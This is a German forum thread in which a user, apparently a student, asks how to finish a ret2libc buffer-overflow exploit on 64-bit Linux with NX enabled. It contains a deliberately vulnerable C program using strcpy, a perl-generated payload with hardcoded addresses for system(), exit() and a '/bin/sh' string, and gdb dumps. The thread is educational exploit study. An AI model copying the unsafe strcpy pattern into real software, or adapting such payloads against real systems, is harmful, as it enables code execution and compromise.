Suche Lösung für Bufferoverflow auf 64 Bit System



  • Hallo,

    wie der Title es schon sagt, ich suche nach einer Lösung den Speicher auf einem 64 Bit System richtig zu überschreiben und so wie ich das alles bisher gelesen habe ist es unter Linux nur die ersten 48 Bit Userspace.

    Ich möchte mit dieser Demo zeigen, das es exploitable ist obwohl NX-Bit für den Stack gesetzt ist.

    #include <stdio.h>
    
    int 
    main(int argc, char* argv[])
    {
    	if(argc < 2) {
    		printf("Zu wenig Argumente\n");
    		return 1;
    	}
    
    	char buf[256];
    
    	strcpy(buf, argv[1]);
    
    	return 0;
    }
    
    ./vuln $(perl -e 'print "\x41"x264 . "\xf0\xa8\xa5\xf7\xff\x7f\x00\x00" . "\x40\x05\xa5\xf7\xff\x7f" . "\x63\xe4\xff\xff\xff\x7f"')
    

    Die Adressen sind jeweils für system(), exit() und einer Umgebungsvariable mit "bin/sh"

    (gdb) i r
    rax            0x0	0
    rbx            0x0	0
    rcx            0x7fffffff	2147483647
    rdx            0x4	4
    rsi            0x7fffffffe3a0	140737488348064
    rdi            0x7fffffffde56	140737488346710
    rbp            0x4141414141414141	0x4141414141414141
    rsp            0x7fffffffde48	0x7fffffffde48
    
    (gdb) x/20xg $rsp-32
    0x7fffffffde28:	0x4141414141414141	0x4141414141414141
    0x7fffffffde38:	0x4141414141414141	0x4141414141414141
    0x7fffffffde48:	0x05407ffff7a5a8f0	0xffffe4637ffff7a5
    0x7fffffffde58:	0x00007fffff007fff	0x0000000200000000
    

    Wir man sieht wird die weitere Adresse von exit() auch an der Speicheradresse hinzugeschrieben.

    Frage:
    Ist es möglich die Speicheradresse 0x7fffffffde48 nur mit dem Wert für system() zu beschreiben?



  • Keiner eine Idee?

    Ich könnte die NULL-Bytes mit memcpy wahrscheinlich reinschreiben, somit wäre das Problem ja beseititg, aber mit strcpy wäre vielleicht eine ROP-Exploit sinnvoll.

    Vielleicht noch paar Infos zum System.

    3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

    Habe vor einen ret2libc exploit zu basteln, ist ein Projekt für das Studium.


Anmelden zum Antworten